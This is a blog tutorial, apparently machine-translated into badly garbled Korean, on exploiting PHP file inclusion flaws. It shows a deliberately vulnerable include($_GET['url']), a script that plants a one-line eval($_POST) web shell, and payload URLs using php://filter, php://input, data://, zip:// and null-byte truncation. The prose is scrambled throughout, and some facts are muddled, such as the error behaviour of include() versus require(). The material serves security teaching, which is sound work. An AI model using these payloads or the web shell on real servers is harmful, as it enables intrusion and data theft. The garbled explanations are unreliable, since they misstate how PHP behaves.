파일에 포함될 취약점 원칙 프로브

파일에 포함될 취약점 원칙 프로브

작성자 : 거울 왕 유양

이메일 : [email protected]

연락처 : 2821319009 (QQ)

프로필 : https://www.cnblogs.com/wangyuyang1016/

파일 포함

파일이 들어있는 파일을 참조 다른 파일이 포함되어, 재사용 가능한 기능은 별도의 파일에 기록 된 개발 프로세스를, 당신은 "파일의 과정이 될 수있는 프로그램에서 직접 파일을 호출 할 때이 기능을 사용하려면 필요 "포함

문서에 포함 된 기능은 악성 파일을 호출 할 수있는 클라이언트, 동적 호출이 발생하기 때문에

PHP 파일은 다음과 같습니다

PHP 함수를 포함하는 파일은 종종있다 네 기능 파일 기능 강력하고 유연한 제공 포함 제공

위험 함수를 포함 (PHP)

include()

실행을 중지 할 포함 된 파일에서 찾을 때 오류 "E_COMPLE_ERROR"를 생성 할 수 없습니다

include_once()

파일에서 코드가 포함 된 경우 그리고, 이전처럼 더 이상 포함되지 않습니다

require()

파일을 찾을 수 없습니다 포함하는 경고 "E_WARNING는"계속 실행이다

require_once()

그리고, 이전처럼, 포함 된 파일에서 찾을 수 없습니다 경고 "E_WARNING는"계속 실행이다

예를 들면 파일을 포함

시범 개발

<?php
    include("ArrayUtil.php"); //利用include函数包含
    $arr = array("sougou","google","yahoo","baidu","FackBook");
    PrintArr($arr);
?>
<?php
    function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){
        foreach ($arr as $key => $value) {
            echo "$key $sp $value $lin";
        }
    }
?>

의 index.php 파일 사용 include기능 파일을 ArrayUtil.php 파일을 포함, 당신은에서의 index.php에서 ArrayUtil.php 파일 PrintArr () 함수를 사용할 수 있습니다 index.php에 선 우리는 () 함수 PrintArr를 호출 4.

액세스의 index.php에 브라우저를 사용하여

취약점으로 보여줍니다 (로컬로 실행)

<?php
    include("phpinfo.txt");
?>
<?php
    phpinfo();
?>

음! TXT 파일이 성공적으로 포함 된, 나는 가능한 파일 형식이 성공적으로 실험을 다른 서버의 다양한 테스트! 나는 증거가 이렇게이다 얻었다 : include()모든 파일 기능은 PHP 파일을 구문 분석에 포함되지만, 경우에만 라인 PHP 코드 표준에서 파일의 내용;의 사양에 맞지 않는 내용이 PHP 코드 파일의 내용 페이지에 노출 될 경우 (초점입니다)

취약점 데모 (원격 실행)

PHP뿐만 아니라, 당신은 또한 포함하는 원격 파일을 수행 할 수있는 (로컬)의 서비스 종료에 포함 된 파일을 수행 할 수 있습니다;

이 파일은 구성 파일 (PHP를 원격으로 기본적으로 해제 파일을 포함) 수정할 수있는 원격 실행의 php.ini 필요성을 포함

allow_url_include = on

우리가 원격 조건을 가지고 있지 않기 때문에, 우리는 하 모양 로컬 환경을 설정했다! ! !

D : \ phpStudy \ phpinfo.txt

<?php
    phpinfo();
?>

127.0.0.1/index.php

<?php
    include("D:\phpStudy\phpinfo.txt");
?>

변화에 대한 한 가지 방법

<?php
    include($_GET['url']);
?>// 记住这个代码后面会一直使用

URL 주소는 여기에만 원격 파일 URL 매개 변수 값이 제출 포함, 원격 파일 포함 및 분석 방법 같은 것을 포함 로컬 파일, 그들은 사양은 PHP 코드에 따라 PHP 코드 실행을 분석 할 수 충족하는.

우리는 존재하지 않는 파일을 포함하는 경우, 오류가 발생, 사이트의 경로가 노출됩니다!

PHP 파일 포함은 기본 사용 취약점

중요한 문서를 읽기

유사 건설http://127.0.0.1/?url=.\phpinfo.txt

음! 우리는 왜 텍스트를 보았다?

때문에 include()파일을 실행합니다 기능이 포함되어, 그들은 사양을 충족하는 내용의 파일 형식에 상관없이이 PHP 코드 PHP 구문 분석에 따라있을 것이다 출력 파일 내용을 지시 할 PHP 코드의 사양을 충족하지.

통합 기능 : 파일을 다른 파일 액세스 지역 PHP 구문 분석 또는 비디오 텍스트의 내용을 다시 수행 등이이 기능의 방법을 사용하여, 특히 문자를 구분하는 파일 시스템을, 예를 들어, php.ini의 설정 파일, 구성 파일의 my.ini 다른 민감한 정보, 상기 파일 경로 (에러 에코를 사용하여 예컨대 상기 방식으로) 다른 동작과의 접속을 얻는 것이 필요

중요한 점 : 권한을 작동하면 파일 오을 가지고

원격 셸은 포함

원격 조건부 텍스트가 포함 allow_url_fopen= on

shell.txt (기능 : 로컬 서버에있는 단어 트로이 목마 스크립트를 작성) 만들기

<?php
    $key= ("<?php @eval(\$_POST['mirror']);?>");//$符号需要转义要按字符存
    $file = fopen("shell.php","w");
    fwrite($file, $key);
    fclose($file);
?>

건축 :http://127.0.0.1/?url=..\xx\shell.txt

원격 텍스트가 포함의 성공적인 구현 한 후, 서버는 로컬 "shell.php"단어 트로이 목마 실행 파일을 생성합니다

shell.php 만든 후, "헬기"연결 문장을 사용합니다 :

음! 그것은 로컬 단어 shell.php 트로이 목마, 트로이 목마를 만들 수있는 실행 파일, 심지어 부엌 칼을 포함하고 있습니다! 셔틀은 받으실 수 있습니다!

업로드 파일에 포함 된로

사용 업로드 기능을 웹 애플리케이션은 다음 트로이 목마는 로컬 서버에서 PHP 파일을 실행 만드는 과정 이후에 포함 된 실행 업로드 된 사진, 이미지와 의사 트로이 목마 기능을 포함하는 파일을 사용, 의사 트로이 목마의 사진을 업로드

사용 PHP 캡슐화 프로토콜

PHP는 많은 내장되어 PHP 캡슐화 프로토콜 (자세한 내용은 공식 문서를 참조하십시오) , 캡슐화 프로토콜의 기능과 파일 기능 (fopen의 (), 복사 () , file_exists (), 파일 크기 ()) 이벤트와 유사한 기능을

allow_url_fopen:on 이 옵션에 너무 URL 오브젝트 파일에 액세스하고 사용 URL fopen의 래퍼를 활성화 형태에 기본적으로 활성화되어 있습니다.

allow_url_include:off 기본적으로이 옵션에 URL 오브젝트 파일을 포함 할 수있다 꺼짐

보안 고려 사항은 모두 폐쇄

내장 프로토콜 캡슐화

[견적] 공식 문서

파일 : // 프로토콜 :

로컬 파일 시스템에 액세스

file://[本地文件的绝对路径和文件名]
PHP : // 프로토콜 :

개별 IO 스트림에 액세스

열 필요 allow_url_include: on

  • PHP : // 표준 입력 : 입력 및 출력 스트림을 대응 PHP 프로세스에 직접 액세스 (읽기 전용)

  • PHP : // 표준 출력 : 해당 PHP 프로세스 입출력 스트림 (에만 기입)에 직접 액세스 할

  • PHP : // 열려진 : 해당 PHP 프로세스 입출력 스트림 (에만 기입)에 직접 액세스 할

  • PHP : // 필터 : 임의의 파일 읽기의 사용

  • PHP : // INPUT : 원시 데이터 스트림에 대한 액세스 요청, 포스트 구문 분석 PHP와 같은 데이터 요청 읽기 전용

  • PHP : // 출력 : 단지 기록 된 데이터 스트림 및 인쇄 모드를 허용하는 출력 버퍼에 기록 된 에코

  • PHP : // FD : 수 지정된 파일 기술자에 직접 액세스

    자세한 내용은 공식 PHP를 참조 할 수 있습니다 : // 프로토콜 문서

우편 번호 : // 프로토콜 :

(우편 번호 : //의 bzip2 : //, ZLIB : //) 압축 된 스트림에 속하는 하위 폴더에있는 파일을 압축 액세스 할 수 있습니다, 그리고 더 중요한 것은, 접미사를 지정할 필요가 없습니다

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

URL에 참고 파운드 기호 '#'은 23 %를 설정해야

자료 : // 프로토콜 :

allow_utl_include= On

data://text/plain;base64,[string_base64加密后]
glob에 : // 프로토콜 :

패턴 매칭 쿼리 파일 경로

glob://[url]
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
기대 : // 프로토콜 :

대화 형 데이터 처리 흐름 (기본값이 설정되지 않으며, 필요 확장 PECL은-기대 설치)

expect://command

문서를 참조 : PHP 의사 프로토콜을 실행 제스처 명령 7 종류

읽기 PHP 파일

사용 파일 : // 파일의 내용을 읽어

file://[本地文件的绝对路径和文件名]

사용 PHP는 : // 필터 PHP는 파일의 내용을 읽어

http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php

여기에 제시된 결과는 암호화 된 Base64로의 결과입니다

PHP 파일을 쓰기
PHP를 사용 : // 입력 :

사용은 php://inputPHP 문을 실행할 수 있지만 제한됩니다allow_utl_include= On

URL 텍스트 :

http://127.0.0.1/index.php/?url=php://input

포스트 데이터:

<?php phpinfo();?>

음! 사용 "PHP : // 입력"단어 트로이 목마 파일을 만들 로컬 // 입력 PHP를 실행 서버, 결과는 상상 할 수 있습니다 우리가 PHP를 사용하는 경우에만 에코은 phpinfo () 실행 PHP 코드 "포스트 데이터 데이터 내용"

데이터의 사용 : // :

에 한정 allow_utl_include= Onphp.ini의 구성

?file=[data://text/plain;base64,[base64编码加密的payload)]

참고 닫기 태그 PHP는 없다

사용은 우편 번호 : // :
?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php

개요

요약이 포함

위의 이미지는 ^ _ ^받는 복사본 FREEBUF 깔때기 커뮤니티에서 기사의 저자, ​​간주 좋은 요약입니다

잘린다 포함

magic_quotes_gpc = off//www.cnblogs.com/timelesszhuang/p/3726736.html : HTTPS 상태 00 %를 절단에 리드를 탈출 할 수 없습니다 때문에 기능 끄기 만, 상태에 사용할 수 있습니다

아래 PHP6는 / 7 종료 magic_quotes_gpc기능 : PHP6 \ 프로그램의 폐쇄 7 magic_quotes_gpc의 영향

파일 버그 수정, 특히 포함 include()만큼 잘 한계 확장으로, 기능을 포함하는 문서를?

<?php
    if(iset($_GET['url'])){
            include $_GET['url'].".php";
    } else{
        include 'home.php';
    }
?>

위의 절차가 제한 확장을 고정, 사용자는 사용자 이름 접미사를 제출할 필요가 없습니다 할 수있는 파일 이름을 지정해야

이제 우리는 사용하기 전에, 수단을 포함 "shell.php"파일을 포함

http://127.0.0.1/index.php/?url=shell.php

프로그램 고정 형식 파일 접미사 때문에, 그래서 배경을 구성하는 것

shell.php.php

그러나 include()따라서 오류가 발생합니다 "shell.php.php"를 찾을 수 없습니다

1573804025701

바이트를 사용하여 절단

http://127.0.0.1/index.php/?url=shell.php%00

PHP5.2 + 버전이 점차적으로 잘립니다 바이트 수리, 그래서 약간의 이점이있다

내가 너무 많은 세부 설명을하지 않는다 ^ _ ^

추천

출처www.cnblogs.com/wangyuyang1016/p/11867417.html